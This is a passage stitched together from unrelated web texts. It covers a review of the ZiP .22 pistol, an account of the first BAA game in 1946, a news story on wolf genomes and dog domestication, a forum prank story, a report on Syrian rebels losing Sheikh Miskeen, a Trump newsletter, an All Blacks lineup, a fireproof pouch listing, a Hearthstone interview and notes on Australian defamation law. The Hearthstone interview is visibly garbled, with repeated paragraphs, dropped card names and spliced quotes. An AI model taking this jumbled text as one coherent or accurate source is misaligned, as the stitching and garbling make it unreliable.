honest man at a gun control convention. Painting the front sight white would be a quick, cheap upgrade. Modularity and customization are areas where this gun shines. Slide the top rail off the frame and you can replace it with a handful of accessory rails from ZiPFactory, including the ZiPPIC Rail (1913 Picatinny rail), ZiPNite Rail (allows for the installation of Glock-compatible sights), and ZiPSBR Rail (allows the attachment of your ZiP to another gun, which, if it’s a rifle, turns your ZiP™ into an SBR. If it’s a pistol, it turns your pistol into an AOW — NFA rules and fees apply). And if that isn’t enough play value, there’s the BattleZiP Survival SBR Stock (a nifty full rifle stock), a threaded barrel (for a suppressor or other 1/2×28 muzzle accessory) and some future plans that cannot yet be mentioned (see “Customize This” rating for a hint). Unfortunately, the funky sci-fi looks and dangerous thrills from putting your hands in front of the business end of the ZiP gun didn’t make up for a generally poor showing at the range. Even after installing the Upgrade Kit Version 1.0.1, which was released due to some excessively tight tolerances in early guns, she just wouldn’t run reliably. The ZiP ships with two sets of recoil springs: stiff for high-test loads and light for target/bulk loads (factory-installed default). You can “tune” your action to your ammunition’s power level. Due to the low mass of the reciprocating parts, the bolt speed is extremely high and the spring rates are particularly important. The design leaves no room for bolt overtravel (which normally adds some delay to a semi-auto action). The ZiP™ was consistently plagued with failures to feed. The bolt is often moving forwards before the magazine can lift the next round up into place. Even when it does feed, the bolt would often come forward so quickly that the ejecting empty brass was caught before it could escape the gun. These failures created some unique jams with empty brass smashed up somewhere in the ejection port and a new round partially fed into the chamber. Due to the bolt speed, the ZiP only [mostly] works with the BX-1, 10-round mags. The BX-25’s don’t feed subsequent rounds quickly enough. ZiPFactory is supposed to release another Upgrade Kit for the BX-25 soon; essentially stronger springs. Most other aftermarket magazines don’t have quite the correct feed lip geometry and/or share the BX-25’s feed rate problem. After the Upgrade Kit, some polishing, some graphite lube, extremely careful assembly, a handful of ammo brands to test and some encouraging words, I had the ZiP running better. It actually made it through a couple of BX-1 10-round magazines in a row without a jam. That was, however, not the norm. I spent more time during my range session clearing jams than shooting. On average, it would jam at least once per magazine, and this was a major improvement from pre-upgrade. On the plus side, the ZiP gun’s very accurate. The 5.25” barrel does its job with all ammo brands tested. The extremely heavy trigger does the ZiP™ no favors, but my group sizes were excellent. This pistol has a lot of potential. If ZiPFactory can work out the kinks and get it to run, they’ll have a winner on their hands. The gun is unique in the extreme, accurate, fun-to-shoot (when it’s running), totally dangerous in the best of cases, extremely dangerous when it jams, modular and customizable as hell. And it’s inexpensive! Plus, it uses the Ruger 10/22 mags you already have. I’d really like to see this thing work, and I’m interested to see what other fun firearms ZiPFactory produces in the future. A little bird tells me that there’s a pistol-caliber carbine in the works. SPECIFICATIONS: Caliber: .22 Long Rifle Frame: Polymer Sights: Black plastic, no dots. Accessory options: picatinny rail, Glock sight adapter, SBR adapter, etc etc. Barrel Length: 5.25 inches Length (muzzle to back of frame): 7.75 inches Weight: 15.2 ounces unloaded, no magazine Capacity: Accepts all Ruger 10/22 magazines. Functions [mostly] with BX-1’s. MSRP: $199 with no magazine. $219 with a BX-1 included. RATINGS (Out of Five Stars): Style * * * * * Like it or hate it, you’ve never seen anything like it. Its style is its own, and it gets five stars for that. Ergonomics (firing) * Form comes before function here. While it actually fits in the hand okay, it isn’t what you’d call comfortable. The grip angle is vertical and the placement of the charging rods is downright dangerous. The trigger is heavy enough that it causes some discomfort, removing 10-round mags is difficult, and clearing jams is a bear. Reliability No, I did not forget to rate this category. Maybe it will “break in” and improve. Customize This * * * * * Well deserving of five stars here, the ZiP can be customized with all sorts of upper rail attachments, threaded barrels, SBR stocks and other doo-dads on the way that I am not at liberty to mention (suffice it to say that only the right side of the frame’s “clamshell” is serialized, and ZiPFactory has future plans for things you can do by swapping out the left side). OVERALL * As is, it just doesn’t run reliably enough to be fun; too much time’s spent dealing with difficult-to-clear jams and it only sort of runs with Ruger factory BX-1 magazines. Safety and ergo nightmare, really. -NOV. 1, 1946: NEW YORK VS. TORONTO The First Game If you were taller than the tallest Husky (6-8), you got in free! the NBA is tipping off the 1996-97 season with the New York Knicks against the Toronto Raptors at Toronto's SkyDome. Toronto wasalso the site of the league's very first game on Nov. 1, 1946, with the Huskies hosting the New York Knickerbockers at Maple Leaf Gardens. The contest drew 7,090, a good crowd considering that virtually every youngster in Canada grew up playing hockey and basketball was hardly a well-known sport at the time. Forget for now that the game the Knicks won that night, 68-66, bore little resemblance to the leaping, balletic version of today's NBA. That game was from a different era of low-scoring basketball, a time when hoops as a pro spectacle was just coming out of the dance halls. Players did not routinely double-pump or slam-dunk. The fact of the matter was that the players did not and could not jump very well. Nor was there a 24-second clock; teams had unlimited time to shoot. The jump shot was a radical notion, and those who took it defied the belief of many coaches that nothing but trouble occurred when a player left his feet for a shot. The group of owners who met on June 6, 1946, at the Hotel Commodore in New York to talk about a league they would name the Basketball Association of America couldn't have imagined today's NBA. They were composed primarily of members of the Arena Association of America, men who controlled the arenas in the major United States cities. Their experience was with hockey, ice shows, circuses and rodeos. Except for Madison Square Garden's Ned Irish, who popularized college doubleheaders in the 1930s and 1940s, they had little feeling for the game of basketball. But they were aware that with World War II having recently ended, the conversion to peacetime life meant many dollars were waiting to be spent on products and entertainment. They looked at the success of college basketball at Madison Square Garden and in cities like Philadelphia and Buffalo and felt a professional league, which could continue to display college stars whose reputations were just peaking when it was time to graduate, ought to succeed. So, on that Thursday in June, 11 franchises were formed to compete in two divisions. The East consisted of the Boston Celtics, Philadelphia Warriors, Providence Steamrollers and Washington Capitols, as well as New York and Toronto. In the West were the Pittsburgh Ironmen, Chicago Stags, Detroit Falcons, St. Louis Bombers and Cleveland Rebels. Each team paid a $10,000 franchise fee, the money going for league operating expenses including a salary for Maurice Podoloff, who like the arena owners who hired him was a hockey man first. Podoloff, a New Haven, CT lawyer who was President of the American Hockey League, agreed to also take on the duties of President of the new Basketball Association of America, which three seasons later, in a merger with the midwest-based National Basketball League, became the NBA. With only five months to get ready for the targeted Nov. 1 season opener, the playing rules and style of operation were based as closely as possible on the successful college game. However, rather than play 40 minutes divided into two halves, the BAA game was eight minutes longer and played in four 12-minute quarters so as to bring an evening's entertainment up to the two-hour period owners felt the ticket buyers expected. Also, although zone defenses were permitted in college play, it was agreed during that first season that no zones be permitted, since they tended to slow the game down. Geography figured heavily in the makeup of the 11 franchises. The Providence Steamrollers relied heavily on former Rhode Island College players, while Pittsburgh chose its squad from within a 100-mile radius of the Steel City. The Knick players came primarily from New York area colleges. Even Neil Cohalan, the first Knick coach, was plucked from Manhattan College. But all of Toronto's players were American, with the exception of Hank Biasatti, a forward, who was a native Canadian. Salaries were modest, mostly around $5,000 for the season. As a result, players had to rely on offseason jobs for supplemental income. By today's standards, the first training camps were primitive, often a day-to-day proposition. The Warriors, for instance, shuttled between a number of Philadelphia-area gymnasiums, usually on the condition that they scrimmage the team whose home floor it was. This brought about the curious spectacle one afternoon of a BAA team playing against A luxury was the Knicks' outdoor court at the Nevele Country Club, a Catskills resort in Ellenville, NY. "The first two weeks we were at the Nevele by ourselves," remembered Sonny Hertzberg, the Knicks' first captain and a slick two-handed set-shooter. "The meals were great, but the coach wasn't satisfied. We did a lot of road work and were in great condition but Cohalan didn't like the way we were progressing. "Looking back, I'm still thrilled that I was at that first training camp and that I signed with the Knicks. I wanted to play in New York. It was a new major league. It was a game of speed with no 24-second clock when we played. I didn't know if it was going to be a full-time thing." While the Knicks were getting ready for the opener, college basketball was still king in New York, where teams like CCNY, LIU and NYU were revered. It was not until the Knicks scrimmaged the collegians and the successes got some newspaper notoriety that they started to gain some respect before they left New York on Oct. 31 for the train ride to Toronto. Picture the scene that cold autumn night when the Knicks had to stop for customs and immigration inspection at the Canadian border. The story goes that the customs inspector, noting the physiques of Knick players like Ozzie Schectman, Ralph Kaplowitz, Hertzberg, Nat Militzok and Tommy Byrnes, asked, "What are you?" "We're the New York Knicks," said Cohalan, who did the talking for the team. From the inspector's reaction, it was evident that he had never heard of the Knicks and probably not even of pro basketball. The notion was strengthened when he added: "We're familiar with the New York Rangers. Are you anything like that?" Deflated but unyeilding, Cohalan replied, "They play hockey, we play basketball." Before letting them through, the inspector added: "I don't imagine you'll find many people up this way who'll understand your game--or have an interest in it." Little did he or the players know that the NBA would grow into a multi-million dollar business with 29 franchises, including two in Canada (although the Huskies folded after just one season). With the Maple Leafs' image to contend with and only one Canadian player on its roster, Toronto tried hard to promote the game. They ran three-column newspaper ads bearing a photo of 6-8 George Nostrand, Toronto's tallest player, that asked, "Can You Top This?" Any fan taller than Nostrand would be granted free admission to the season opener; regular tickets were priced from 75 cents to $2.50. "It was interesting playing before Canadians," recalled Hertzberg. "The fans really didn't understand the game at first. To them, a jump ball was like a face-off in hockey. But they started to catch on and seemed to like the action." Schectman, who starred at LIU, scored the first basket of the game as the Knicks jumped to a 6-0 lead. New York led 16-12 at the quarter and widened the margin to 33-18 in the second period before Ed Sadowski, Toronto's 6-5, 240-pound player-coach, rallied his team to cut the gap to 37-29 at halftime. But Sadowski committed his fifth personal foul three minutes into the second half and the rule then, as it still is in the collegiate ranks, was that a player fouled out on five fouls. The NBA limit was not increased to six fouls until years later. Nostrand replaced Sadowski and put the Huskies ahead for the first time 44-43, and they expanded the margin to 48-44 after three periods. The final quarter was ragged as well as rugged, but a pair of field goals by Dick Murphy and a free throw by Tommy Byrnes in the final 2 1/2 minutes provided the Knicks with the two-point victory. Sadowski, with 18 points, and New York's Leo Gottlieb, with 14, led their respective teams. During that first regular season, the Washington Capitols, coached by Red Auerbach, ran away with the Eastern Division championship, finishing with a 49-11 record, 14 victories more than Philadelphia and 10 more than Chicago, the West leader. However, it was the Warriors, owned and coached by Eddie Gottlieb, who won the first championship, beating Chicago 4-1 in the best-of-7 title round. Joe Fulks of Philadelphia was the league's first scoring champion with a 23.2 average, finishing far ahead of runner-up Bob Feerick, 16.8. Feerick, however, was the league's most accurate shooter, hitting .401 from the field--a far cry from the .576 mark which Cedric Ceballos posted to lead the league in 1992-93. -(Image: Iztok Noc/Getty) Man’s best friend may be a very old friend indeed. An analysis of a bone from a newly identified ancient wolf species suggests dogs may have split from wolves as early as 40,000 years ago – with or without being domesticated at the same time. Exactly when dogs started to be domesticated and split from wolves is a matter of some controversy. Archaeological evidence analysing the shapes of canid skulls found near early human camps suggested it might have happened as far back as 35,000 years ago. DNA analysis, focusing on differences between living dog and wolf genomes, seemed to suggest they must have split much more recently – between 11,000 and 16,000 years ago. Now Love Dalén from the Swedish Museum of Natural History in Stockholm and colleagues have sequenced the genome of a wolf that lived 35,000 years ago in Taimyr, northern Russia, according to carbon dating. This allowed them to recalibrate the molecular clock – the rate at which genetic differences accumulate over time – and better reconstruct the wolf-dog evolutionary tree. Advertisement They found that dogs and wolves must have split into two separate lineages 27,000 to 40,000 years ago, bringing the DNA and archaeological evidence into line with each other. They also found that some northern latitude dog breeds, having split from wolves, then interbred with the now extinct Taimyr wolf, which could have helped them adapt to the challenging northern environment. These breeds include the husky, Greenland sledge dog and, to a lesser extent, the Chinese shar pei and Finnish spitz. But although the findings back an early split of dogs from wolves, they don’t tell us when the domestication of dogs started. “The present study does not rule out the possibility of a very early date indeed, but it does not rule the possibility of a much later date either,” says Laurent Frantz from the University of Oxford. Perhaps humans didn’t domesticate dogs once the creatures had split away from wolves: the alternative possibility is that there was an early split between two types of wolves, and that dogs emerged much later on one of these lineages. “We do not yet know whether it infers an early divergence between two wolf populations or between wolves and dogs,” says Frantz. Dalén says a combination of genomic and morphological work on ancient wolf or dog specimens is needed before we have a conclusive date on the time of domestication. Mietje Germonpre of the Royal Belgian Institute of Natural Sciences in Brussels was one of the researchers who did the skull-shape work that suggested an early date of domestication. She is excited by the new findings, and says she is already studying a lot more specimens that should help clarify the question. “I find it interesting that early modern humans might have been so resourceful that they started making use of dogs already during the height of the last Ice Age,” says Dalén. Journal reference: Current Biology, DOI: 10.1016/j.cub.2015.04.019 -#303802 ( 1020 /1186 ) ↑Funny ↓Unfunny ⚐Flag Meh, nothing interesting, just another day of me being a complete asshole to unsuspecting citizens A legitimate, honest to god, door to door vacuum salesman came up at the best time. I was vacuuming the rug behing the front door, and he comes up and knocks on it, so I check the peephole It's pretty obvious what you're selling when you're holding a vacuum in one hand. anyways we have one of those canister vacuums where the head pops off so you can attach shit to it for like sucking the fur off your dog or something more productive I pop the head off, and open the door up just enough to where he can see me, but not the vacuum head in my hand. I let him do his little speech, then asked to see his "Papers" to which he produced a sales paper. He went to hand me the paper, I clicked on the vacuum, sucked it clean out of his hand, and slammed the door in his face. Now, I could only experience the look of confusion through the peephole, but he stood out there confused for a good 3-4 minutes before deciding against knocking. He had a few false starts, but never followed through. I think he was worried about what might happen next. - + -Rebel commanders and fighters describe a litany of tactical mistakes, logistical confusion and destructive infighting that contributed to the loss of Sheikh Miskeen in Deraa province. One commander summed up the rebels' performance as a “major failure”. AMMAN // The capture of Sheikh Miskeen by president Bashar Al Assad’s forces last month was their most significant victory in years on Syria’s southern front, but for the rebels, the manner of their defeat was more alarming than the loss itself. Rebel commanders and fighters described a litany of tactical mistakes, logistical confusion and destructive infighting that contributed to the loss of the town in Deraa province. One commander summed up the performance of the rebel alliance as a “major failure”. The inability of the rebels and their international backers to come up with an answer to Russian air power was a significant factor in the battle, and is likely to prove critical over the coming weeks and months, as the fight for Syria’s south continues. Regime officials have said they intend to keep up their offensive until they regain control of border crossing points with Jordan. Rebels currently hold the frontier posts on the Syria-Jordan border, and expect Russian air strikes to target them soon. Interviews with rebel commanders involved in the fight for Sheikh Miskeen have revealed they were comprehensively outmanoeuvred on the ground, in the air and in the diplomatic arena. Efforts to keep Russian air power at bay were made solely through diplomatic channels. Jordan, which entered into an intelligence-sharing agreement with Russia in October, believed it had struck a deal whereby Moscow would not to target western-backed factions and would, instead, coordinate with Amman in hitting hardline Islamic factions. In late December the regime began increasing its military activity in the south and it quickly became clear that the deal was not holding. Russian air strikes intensified throughout January, as the assault increasingly focused on Sheikh Miskeen. As the fighting raged, rebels said their international backers in Amman’s Military Operations Command (MOC) repeatedly exhorted them to hold on to the town. The inner workings of the MOC remain highly secretive, but rebels familiar with its operations said it seemed to be in a state of disarray as regime forces advanced. “The MOC was telling us how important it was for us to keep Sheikh Miskeen, they kept telling us ‘hold on, don’t give up’,” said a leading rebel commander, describing an increasingly desperate battle for the town. Whoever controls Sheikh Miskeen controls the main highway and, therefore, controls a main path for weapons and troops in the southern region. The rebels had hoped to use the town as a means of choking off the regime units still holding on in Deraa, and to link up with rebels on the outskirts of Damascus. Now, rebel positions across the south will be more exposed to attack. Russian air strikes were monitored in detail by the MOC and, when it became clear that they were turning the tide in the regime’s favour, Jordan’s top military officer was dispatched to Moscow. Gen Mashal Mohammad Al Zabin, chairman of joint chiefs of staff, flew to Russia on January 27, the day after regime forces made a rapid advance in Sheikh Miskeen, seizing hold of 95 per cent of the town in a two-day blitz. Jordan has been at pains to try to prevent extremist factions tied to ISIL from gaining ground in the south, and fears any weakening of moderate rebels will open space for more radical groups. The campaign of air strikes has also displaced thousands of civilians, with 70,000 people on the move by early February, according to the United Nations. Jordan is already struggling to cope with an influx of refugees and is ill equipped to deal with more. The content of the Russian-Jordanian talks has not been made public but the air strikes did not stop. By the time Gen Al Zabin returned to Amman on January 29, Sheikh Miskeen had fallen. Weapons supplies were also a key factor working against the rebels. While munitions supplies from the MOC continued they did not always reach the rebel units most in need on the Sheikh Miskeen front lines. Many units received nothing, while others were fairly well supplied, according to accounts from several rebel commanders. “Some groups got a lot of weapons, others didn’t, there was not an equal distribution,” said a rebel field commander. He said those who sold them instead of getting them to the front line had betrayed the rebel cause. Another rebel commander blamed Washington, saying the US had blocked efforts by the MOC to dramatically increase the flow of weapons. “The Americans are letting us down, if they wanted to supply us with the right weapons on time, they could, nothing would be late,” he said. “US calculations on Syria seem to have changed.” Rebels said they were not offered anti-aircraft missiles to counter the Russian attacks. But more critical than the availability of weaponry was a renewed disorganisation in rebel ranks. Aided by MOC planners, rebels made strong advances in the south in 2014, largely because of joint operations rooms, which unified rebel efforts and enabled them to better manage their resources on the battlefield. At Sheikh Miskeen that coordination network was never put in place, rebels said, and no well-researched plan for defending the town was ever drawn up. Instead of a unified operations room coordinating the fight, there were four different rebel command centres which did not work together. It remains unclear why a united, organised defence plan was not followed. The result was chaos. Rebels described units being pulled off the line at critical moments, reinforcements failing to arrive on time and, in one case, more than 100 fighters being sent away in the midst of battle to attend a military training course behind the lines. This burgeoning disarray sapped the morale of the remaining fighters, undermined the confidence they had in their leaders, and sowed discord between factions who already mistrusted one another. One senior rebel said units retreated too soon from the town because of a successful propaganda operation by the regime. A small regime force sneaked through rebel lines and hoisted a government flag, triggering the collapse of rebel lines that were, in fact, holding. “Rumours circulated that the regime had broken through, so some units pulled back,” he said. Another commander complained that high-ranking rebels spent too much time in Amman, lobbying the MOC and “back-stabbing” other rebel units in a competition to get weapons and gain influence with countries bankrolling the MOC. “All of those commanders should have been on the ground organising the defence. They should now be kicked out and replaced by their second-in-commands,” he said. Rebel forces also became embroiled in an internecine fight just as the struggle for Sheikh Miskeen was reaching a decisive stage. Moderate groups clashed with Harakat Al Muthanna, a more radical faction involved in the kidnapping of Yaqoub Al Ammar, the opposition’s provisional governor for Deraa, weeks earlier. Rebels said the MOC had supplied them with weapons to fight factions allied with ISIL but, with regime forces closing on Sheikh Miskeen, the rebels’ international backers had urged them to focus on the defence of the town. Instead of focusing on Sheikh Miskeen however, some MOC-backed rebels pushed ahead with a raid on a Harakat Al Muthanna compound, accusing them of supporting ISIL. In response, when moderates tried to reinforce Sheikh Miskeen, Harakat Al Muthanna blocked their path. In the wake of the defeat, morale in rebel ranks has been low. Nonetheless, the opposition to president Al Assad has vowed to keep on fighting “The rebels are still there present, they are part of the map and the regime cannot end the resistance in Deraa,” said Muti Al Batin, a member of the opposition Syrian National Coalition from Deraa. “The rebels are still capable of facing the regime, but they do need something to change the equation ... [they need] weapons that would enable them to face the regime’s air power,” he said. foreign.desk@thenational.ae * Phil Sands contributed to this story from Boston, USA -President Donald Trump’s tweets accounted for plenty of news cycles. | Susan Walsh/AP Photo Trump After Dark: Back to the Future edition Official Washington is in holiday mode — and President Donald Trump is soaking up rays in Florida. So it’s a good time to look back at what Year One of a Trump presidency has meant. Story Continued Below POLITICO’s Annie Karni explores one unique feature of Trump’s presidency: The Twitter feud. Never before has a Commander in Chief taken the digitial bully pulpit to the levels of President Trump and the effects — on celebrities, a deputy FBI director and politicians among others — has been something to behold. “The personal attacks from the leader of the free world, blasted out to his 45 million followers, have no real precedent in American politics. They’ve energized the president and his base, outraged his opponents and driven entire news cycles — but also shocked and traumatized those individuals on the receiving end.” Trump’s tweets accounted for plenty of news cycles. But it’s hard to say what will drive to 2018. There were plenty of bad predictions about what would happen in 2017. As POLITICO’s Zack Stanton and Derek Robertson explain , 2017 was many things — among them a year for generally pretty terrible political prognosticating. The most reliable politics newsletter. Sign up for POLITICO Playbook and get the latest news, every morning — in your inbox. Email Sign Up By signing up you agree to receive email newsletters or alerts from POLITICO. You can unsubscribe at any time. Among the worst? Trump resigning before year’s end; Jared Kushner exerting a moderating influence on the White House and one, from Trump himself, that his inauguration would be a record-breaker. Elsewhere in President Trump’s orbit: OBAMA WINS*: President Trump and President Barack Obama never ran against each other but the latter edged the former out in Gallup’s most admired man survey. Hillary Clinton topped the list of women. OUT LIKE FLYNN: The Trump team’s plan is to paint Michael Flynn as a liar and dissembler should he turn on any of President Trump’s inner circle in the ongoing investigation of Russian election interference. EMPTY CABINET: President Trump’s Cabinet has been executing his priorities largely in secret, often shielding their public schedules and other details from the press. LVIV AND LET LVIV: Secretary of State Rex Tillerson asked Moscow to reduce the level of violence in eastern Ukraine, where Russian troops have been siding with separatists in skirmishes against the Ukrainian government. CHARGES FILED: Joy Villa, the pro-Trump singer considering a congressional bid, filed sexual assault charges against former Trump campaign manager Corey Lewandowski after he reportedly slapped her butt hard, twice, after being told not to do so. There you have it. You’re caught up on the Trump administration. Happy Wednesday. -Injured Carter out of All Blacks for third test TOBY ROBSON Dan Carter is out with a hamstring injury in a dramatic turn of events that has turned the All Blacks' third test against Ireland into anything but a dead rubber. All Blacks coach Steve Hansen has fearlessly made six changes to the side that started the 22-19 win in Christchurch, with lock Luke Romano to make his debut in place of Brodie Retallick in a revamped pack. In a new-look loose trio, Richie McCaw takes over at No 8 from Kieran Read, who has been ruled out due to concussion, with Liam Messam at blindside and Sam Cane on the openside in what will be his first test start. In the backs, Aaron Cruden will wear the No 10 jersey after Carter pulled up lame after training on Tuesday, while Hosea Gear and Ben Smith go on to the wings. Retallick and loose forward Adam Thomson drop to a new-look reserves bench that includes Taranaki rookie Beauden Barrett, Highlanders utility back Tamati Ellison and veteran hooker Keven Mealamu. Wings Zac Guildford and Julian Savea drop out of the squad altogether. Hansen indicated the changes were in part because his side had not performed to expectation in Christchurch. The All Blacks by their own admission weren't happy with the way they performed on Saturday and in part this was a credit to the way the Irish played, he said. "They have laid down the challenge and the key will be now how we respond." Of most significance is the absence of Carter, who will undergo further tests in the next few days to determine how long he will be out of rugby. Cruden makes his fourth test start and first since the World Cup final, and where such a selection might previously have sent the nation into panic attacks it is unlikely to cause more than a flutter. Cruden, 23, is a readymade replacement on a ground he has made his own this season for the Chiefs and will reunite his successful combination with second five-eighth Sonny Bill Williams. The selection of Romano, 26, may be greeted with less ease. It suggests an effort to add grunt to a scrum that struggled badly last time out, but it's unclear why Thomson, who broke his nose in Christchurch, has been relegated to the bench. It may be to add some energy and ball-carrying finesse with Messam champing at the bit in what will be his first test since he started at No 8 against South Africa during last year's Tri-Nations. That was also the last time Gear wore the black jersey. Playing his 10th test, it will be only the third time Messam has started at blindside. And it will mean McCaw wears the All Blacks' No 8 jersey in what will be his 100th test start of his career, a feat achieved by only two other forwards, South Africa's Victor Matfield and England's Jason Leonard. Mealamu returns for the first time since injuring his calf playing for the Blues in early April, then missing the first two tests as a precaution. ALL BLACKS: Israel Dagg, Ben Smith, Conrad Smith, Sonny Bill Williams, Hosea Gear, Aaron Cruden, Aaron Smith, Richie McCaw (capt), Sam Cane, Liam Messam, Sam Whitelock, Luke Romano, Owen Franks, Andrew Hore, Tony Woodcock. Reserves: Keven Mealamu, Ben Franks, Brodie Retallick, Adam Thomson, Piri Weepu, Beauden Barrett, Tamati Ellison. - The Dominion Post -Fireproof pouch Money valuable Document safe bag Fire Resistant material RC LiPo Battery Safe Guard Bag Charging Sack Save Pack 18cm X 23 cm (7''x9'') Description: Fire proof pouch Money cash Important documents RC LiPo Battery Safe Guard Bag Charging Sack Save Pack 18cm x 23cm (7'' x 9'') This is a fireproof bag, designed to protect imprortant documents money cash from fire or stop and contain any fire caused by incorrectly charging or poorly functioning lipo packs. Please flap side down and on the lowest level of your house (best place is in your cellar, but not in a wet place) that will be best to protect your improtant goods. Features: - Fire proof puch is made of waterproof surface material and Fire resistant inside material - Protect your Important documents / cash / card from fire - The safest way to charge and store your lipos battery - Color: black - Size: 18cm x 23cm (7'' x 9'') Remark: The inside fire resistant material will not catch fire, but please pay attention that the long time high temperature will cause the paper in the fire proof puch to carbide. So please flap side down and on the lowest level of your house (best place is in your cellar, but not in a wet place) that will be better to protect your improtant goods. Also please pay attention to the fire and keep away from the fire is the best way to protect eveything. -Thijs: the meta in tournaments is really open now Article: LiquidHearth Thijs "ThijsNL" Molendijk Team: Gamers2 Qualification: EU Champion EU HWC Points Finish: Top 8 Run: 3-1 Greensheep 3-2 Xixo 3-1 Lifecoach 3-1 Maverick 3-1 Ostkaka 3-0 Lifecoach 3-1 Neirea Decks used in Regional Qualifiers: Druid, Handlock, Patron Decks used in Regional Championship: Druid, Handlock, Patron Gamers2EU ChampionTop 83-1 Greensheep3-2 Xixo3-1 Lifecoach3-1 Maverick3-1 Ostkaka3-0 Lifecoach3-1 NeireaDruid,Handlock,WarriorDruid,Handlock,Warrior Interview Hey Thijs, how's life? Feeling pretty good! Yea you should be. You've been doing pretty well lately in Hearthstone, European Champion, 2nd place at Starladder. To what do you attribute this success? I have been working to improve myself from the start I played Hearthstone. It feels that it is paying off now and things are going my way too. Your beginning of 2015 was relatively uneventful but you've been on an extremely hot streak lately, what changed? Have you been pushing yourself especially hard lately or is it just variance? That's true. I had a rough start and it was hard on me. I'm sometimes too hard on myself and even when I win I look for something I could do better. I think it's a good mindset if you want to be or stay at the top. You didn't answer the question... Haha, ye mostly the pushing myself thing It might also be some variance over the last two months where everything for some time comes together. There were no major changes recently but it was hard for me to make the change from Last Hero Standing to Conquest. You mentioned in previous interviews that the Druid/Patron/Handlock metagame at the EU qualifiers was extremely favorable for you. Can you give your insights on what the metagame will be like at Blizzcon and whether it'll be equally as favorable? Now with the Warsong Patron I'm not as confident in the new meta. In the old meta all my favorite classes where top tier, that might have changed a bit now. Patron "Druid was already strong and Paladin is probably the most consistent class overall withgone." I want to talk a bit about your EU lineup. In particular, the tech changes you made to Handlock. You took out all copies of Shadowflame Darkbomb Shadowflame When two good Handlock players face off, the one playing proactively has an edge, especially when your deck is teched with big swing cards (Owl/BGH). Cutting a Darkbomb Shadowflame Shadowflame Shadowflame Feeling pretty good!I have been working to improve myself from the start I played Hearthstone. It feels that it is paying off now and things are going my way too.That's true. I had a rough start and it was hard on me. I'm sometimes too hard on myself and even when I win I look for something I could do better. I think it's a good mindset if you want to be or stay at the top.Haha, ye mostly the pushing myself thingIt might also be some variance over the last two months where everything for some time comes together. There were no major changes recently but it was hard for me to make the change from Last Hero Standing to Conquest.Now with thebeing removed from the game, I expect many Paladins and Druids. Druid was already strong and Paladin is probably the most consistent class overall withgone. I think the meta in tournaments is really open now, I wouldn't be surprised to see almost all the classes.I'm not as confident in the new meta. In the old meta all my favorite classes where top tier, that might have changed a bit now.When two good Handlock players face off, the one playing proactively has an edge, especially when your deck is teched with big swing cards (Owl/BGH). Cutting a, Healbot andmakes sure you have no dead cards in the first eight turns. Yesis really good in the mirror but only when your opponent plays into it. The good thing about cutting these cards are that players will still play around them. Nobody expects a Handlock deck without Speaking of the EU finals, can you rank the regions for me in terms of the strength of players who qualified? Really hard for me to say since I don't know much about the players from SEA and China. I think we in EU have some really good players representing the region and the same goes for NA. SEA with Kranich and Pinpingho having some known players too. It will be a close call between regions, I believe in Europe! "It will be a close call between regions, I believe in Europe!" Well then who are some players you'd like to single out as your strongest competition? Purpledrank, Hotform, Kranich, Lifecoach and Ostkaka are players I really respect. I know your brother is also into Hearthstone. With your more recent success, do you think he's more considering following the same path? He's is different than me, but I hope so. He loves Hearthstone and I even play with him to prepare for tournaments. He is really good. I will take him to future events for sure. If he can manage to find more time for Hearthstone, who knows. Cool, that's all I have for you for now. Any final words? Thanks to G2, my teammates and the fans cheering for me, it means a lot to me! Other Interviews Americas: JAB, Nias, Purple, Hotform Really hard for me to say since I don't know much about the players from SEA and China. I think we in EU have some really good players representing the region and the same goes for NA. SEA with Kranich and Pinpingho having some known players too. It will be a close call between regions, I believe in Europe!Purpledrank, Hotform, Kranich, Lifecoach and Ostkaka are players I really respect.He's is different than me, but I hope so. He loves Hearthstone and I even play with him to prepare for tournaments. He is really good. I will take him to future events for sure. If he can manage to find more time for Hearthstone, who knows.Thanks to G2, my teammates and the fans cheering for me, it means a lot to me! Europe: Neirea, ThijsNL, Lifecoach, Ostkaka China: Zoro, LoveCX, Zihao, NoTomorrow Asia-Pacific: Pinpingho, Kno, Kranich, Neilyo Asia-Pacific: Pinpingho, Kno, Kranich, Neilyo Interviewer // Photo // Graphics // Editor // // monk // Blizzard // shiroiusagi // Hayl -While internet users in Australia are generally free to access and distribute materials online, free speech is limited by a number of legal obstacles, such as broadly applied defamation laws and a lack of codified free speech rights. Additionally, recent amendments have significantly increased the government’s capacity for surveillance of ICTs, including an amendment broadening the definition of “computer” to include entire networks, and a provision allowing law enforcement and intelligence agencies warrantless access to metadata. Legal Environment Australians’ rights to access online content and freely engage in online discussions are based less in law and more in the shared understanding of a fair and free society. Legal protection for free speech is limited to the constitutionally-implied freedom of political communication, which only extends to the limited context of political discourse during an election.[44] There is no bill of rights or similar legislative instrument that protects the full range of human rights in Australia, and the courts have less ground to strike down legislation that infringes on civil liberties. Nonetheless, Australians benefit greatly from a culture of freedom of expression and freedom of information, further protected by an independent judiciary. The country is also a signatory to the International Covenant on Civil and Political Rights (ICCPR). Australian defamation law has been interpreted liberally and is governed by legislation passed by the states as well as common law principles.[45] Civil actions over defamation are common and form the main impetus for self-censorship, though a number of cases have established a constitutional defense when the publication of defamatory material involves political discussion.[46] Court costs and the stress associated with defending against suits under Australia’s expansive defamation laws have caused organizations to leave the country and blogs to shut down.[47] Under Australian law, a person may bring a defamation case to court based on information posted online by someone in another country, providing that the material is accessible in Australia and that the defamed person enjoys a reputation in Australia. In some cases, this law allows for the possibility of libel tourism, which allows individuals from any country to take up legal cases in Australia because of the more favorable legal environment regarding defamation suits. The right to reputation is generally afforded greater protection in countries like Australia and the United Kingdom than the right of freedom of expression. In Australia this is especially so as freedom of expression is limited to political speech. While the United States and the United Kingdom have recently enacted laws to restrict libel tourism, Australia is not currently considering any such legislation. Prosecutions and Detentions for Online Activities In January 2015, a Western Australian court ordered estranged wife Robyn Greeuw to pay $12,500 in damages for her defamatory Facebook postings where she alleged that her former husband Miro Dabrowski had emotionally and physically abused her for over 18 years.[48] The defence of truth was not proven. This follows the widely publicized earlier decision in the case of Mickle v Farley,[49] where a young man in New South Wales was fined AUD 105,000 plus costs for posting defamatory statements on Twitter and Facebook about his music teacher. The case was novel for the amount of damages incurred on the defendant and for being the first Australian decision where a tweet was held to be defamatory.[50] In the case Judge Elkaim stated that “when defamatory publications are made on social media it is common knowledge that they spread. They are spread easily by the simple manipulation of mobile phones and computer. Their evil lies in the grapevine effect that stems from the use of this type of communication.”[51] There have been several cases in the states of New South Wales and Victoria of individuals being sentenced to jail terms for publishing explicit photos of women, typically former girlfriends or boyfriends. By way of 